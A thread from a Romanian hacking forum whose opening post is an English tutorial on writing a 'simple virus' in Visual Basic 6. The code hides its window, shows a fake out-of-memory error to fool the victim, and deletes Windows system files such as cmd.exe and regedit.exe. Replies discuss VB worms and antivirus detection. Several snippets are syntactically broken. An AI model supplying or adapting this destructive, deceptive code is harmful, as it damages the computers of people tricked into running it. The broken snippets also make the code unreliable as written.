Hacking and more...
HaCkinG CulT
|
Lista Forumurilor Pe Tematici
|
Hacking and more... | Reguli | Inregistrare | Login
POZE HACKING AND MORE...
Nu sunteti logat.
|
Nou pe simpatie: angela31
| Femeie 24 ani Buzau cauta Barbat 24 - 60 ani |
|
Sad_Dreamer
Elite Member
Inregistrat: acum 17 ani
Postari: 1602
|
|
Visual Basic 6 - Creating a Simple Virus
Now many of you feel that creating a virus is impossible especially for you beginners. Well this tutorial shows you how to create a simple virus with just a few lines of code. A virus can be an application that deletes files upon request, this is seen as infecting your computer because by deleting key files you may need to take action to get your computer back to normal.
First of all open a new Visual Basic project, a standard exe file..
Now it depends on how you want your virus to work, I feel it is best if it is activated once your application is opened so the main code codes in the form load sub.
On your project insert a text box , a command button and a timer, we will be using the command button and timer a little later on.
In the project put in the file you want to delete, for example if you wanted to delete the command file then you would put the following code in the form load tab.
Private Sub Form_Load() Text1.Text = "C:/Windows/System32/cmd.exe Kill Text1.Text End Sub
Once the project is opened then the command file will be removed.
Now I will show you an example of doing this using a command button. Put the following code in the command button and in the form load.
You can even give the text box a name to make it quicker. I have labelled it 'A'
Private Sub Form_Load() Text1.Text = "C/Windows/System32/cmd.exe" A = Text1.Text End Sub
Private Sub Command1_Click Kill A End Sub
Now once the command button is clicked on the project the command file will be deleted.
Now we will use the timer in this one. If you want to disguise your scheme then this is a good way to do it, Here we will send a fake message error pretending the application hasn't got enough memory to run, but in actual fact the victim doesn't know that you have just removed their command file.
Here is to go about it.
Private Sub Form_Load() Form1.Visible = False Text1.Text = "C:/Windows/System32/cmd.exe" A = Text1.Text Msgbox ("Runtime Error 492. Not Enough Memory.", vbCritical, "Runtime Error" End Sub
Private Sub Timer1_Timer() Timer1.Interval = 5000 Kill A Timer1.Enabled = False End Sub
All we have done above is made the form invisible so that it makes the error message look real, we have set an interval of 5 seconds on the timer before the file is deleted and that's how simple it can be to fool someone.
Right, we can now make it a little more difficult if you are finding the above a little too easy.
How about removing more than 1 file, well this is how you could go about doing that, we will stick with the message box fool because I think that works well.
The example below shows how to remove the files when the application is loaded, we will not be using timers or command buttons in this one. We will not even be using text boxes because they are not needed, you can just do what is shown below.
So in the form load part put the following code.
Private Sub Form_Load() Form1.Visible = False Msgbox ("Runtime Error 492. Not Enough Memory.", vbCritical, "Runtime Error" Kill "C:/Windows/System32/cmd.exe" s Kill "C:/Windows/regedit.exe" End Sub So above we will be removing the command file and the registry, I don't think the victim will be best pleased about that do you.
Now I have shown you the above information I think it's your turn to try and create your own, now you can test it on your own pc, just copy a file, lets say the cmd.exe file and paste it into your C:/
Then put in the code above but in the Kill put this.
Kill "C:/cmd.exe"
That's all you need to kill, then you will see the file has been removed. Keep trying new things like I have shown and you will be a pro in no time
_______________________________________ In caz ca nu sti...Getting Laid <> Getting r00t
|
|
pus acum 17 ani |
|
sharky3010
B-Boy
Din: Cluj
Inregistrat: acum 17 ani
Postari: 613
|
|
.Fain tutorialu.Mai ales pentru un incapator k mine.Daca mai ai ceva tutoriale de baza pls da-mile pe Y!Messenger. id: sharky3010
_______________________________________
|
|
pus acum 17 ani |
|
Sad_Dreamer
Elite Member
Inregistrat: acum 17 ani
Postari: 1602
|
|
dude...e de cacat tutorialul :-) ce faci acolo nu e virus :-P ...doar sterge ceva...un virus se raspandeste si infecteaza si alte fisiere :-)
_______________________________________ In caz ca nu sti...Getting Laid <> Getting r00t
|
|
pus acum 17 ani |
|
krieg38
Grand Master
Inregistrat: acum 17 ani
Postari: 229
|
|
Sad_Dreamer a scris:
dude...e de cacat tutorialul :-) ce faci acolo nu e virus :-P ...doar sterge ceva...un virus se raspandeste si infecteaza si alte fisiere :-) |
Si ca si adaugare un virus mai cat de cat facut in VB(ma refer la raspandire prin mail ca infectare nu imi imaginez in vb) este detectat de majoritatea antivirusilor. Aveam si eu ceva tutorial despre cum sa scrii un Worm in Vb, l-am facut si cand l-am compilat o sarit antivirusul si o zis ceva de genul Worm.VBGeneric bla bla.
|
|
pus acum 17 ani |
|
Sad_Dreamer
Elite Member
Inregistrat: acum 17 ani
Postari: 1602
|
|
:-) se poate si infecta ;-) te asigur !
_______________________________________ In caz ca nu sti...Getting Laid <> Getting r00t
|
|
pus acum 17 ani |
|
3Nigma
Member of RedTeam
Inregistrat: acum 17 ani
Postari: 325
|
|
krieg38 a scris:
Sad_Dreamer a scris:
dude...e de cacat tutorialul :-) ce faci acolo nu e virus :-P ...doar sterge ceva...un virus se raspandeste si infecteaza si alte fisiere :-) |
Si ca si adaugare un virus mai cat de cat facut in VB(ma refer la raspandire prin mail ca infectare nu imi imaginez in vb) este detectat de majoritatea antivirusilor. Aveam si eu ceva tutorial despre cum sa scrii un Worm in Vb, l-am facut si cand l-am compilat o sarit antivirusul si o zis ceva de genul Worm.VBGeneric bla bla. |
haha pai oare care ii buba aici? cine stie de cand echipele de la antivirus or pus ochii pe tutorialul respectv si or sarit cu un patch de mult inainte sa te apuci tu sa il compilezi... si nu merge chiar asa...daca tu il concepi..ii ceva nou si antiviru va scoate in cel mai rau un mallware
|
|
pus acum 17 ani |
|
krieg38
Grand Master
Inregistrat: acum 17 ani
Postari: 229
|
|
3Nigma a scris:
haha pai oare care ii buba aici? cine stie de cand echipele de la antivirus or pus ochii pe tutorialul respectv si or sarit cu un patch de mult inainte sa te apuci tu sa il compilezi... si nu merge chiar asa...daca tu il concepi..ii ceva nou si antiviru va scoate in cel mai rau un mallware |
Pai ca mallware l-o vazut.
|
|
pus acum 17 ani |
|
3Nigma
Member of RedTeam
Inregistrat: acum 17 ani
Postari: 325
|
|
pai si tu stii ce ii ala malware? (malicious software) ii doar un program ce este SUSPECTAT de actiuni de hack dar nu este confirmat!! multe programe nedestinate pentru hack apar ca malware...
|
|
pus acum 17 ani |
|
krieg38
Grand Master
Inregistrat: acum 17 ani
Postari: 229
|
|
3Nigma a scris:
pai si tu stii ce ii ala malware? (malicious software) ii doar un program ce este SUSPECTAT de actiuni de hack dar nu este confirmat!! multe programe nedestinate pentru hack apar ca malware... |
Nu trebuie sa imi zici ce-i ala un malware ca stiu.
Si uite, daca tot vreti virusi in VB
Apropo, al doilea link cred ca e tutorialul de care am vorbit, ala care-i detectat de antivirus. Incercati-l si ziceti si mie daca e vazut de antivirus. Is curios.
|
|
pus acum 17 ani |
|
Parazitu_2009
Grand Master
Inregistrat: acum 17 ani
Postari: 305
|
|
krieg38 a scris:
3Nigma a scris:
pai si tu stii ce ii ala malware? (malicious software) ii doar un program ce este SUSPECTAT de actiuni de hack dar nu este confirmat!! multe programe nedestinate pentru hack apar ca malware... |
Apropo, al doilea link cred ca e tutorialul de care am vorbit, ala care-i detectat de antivirus. Incercati-l si ziceti si mie daca e vazut de antivirus. Is curios. |
probably unknown SCRIPT virus...asa zice NOD 32`ul
Modificat de Parazitu_2009 (acum 17 ani)
_______________________________________
Omul care nu are nimic de pierdut e cel mai greu de invins.
|
|
pus acum 17 ani |
|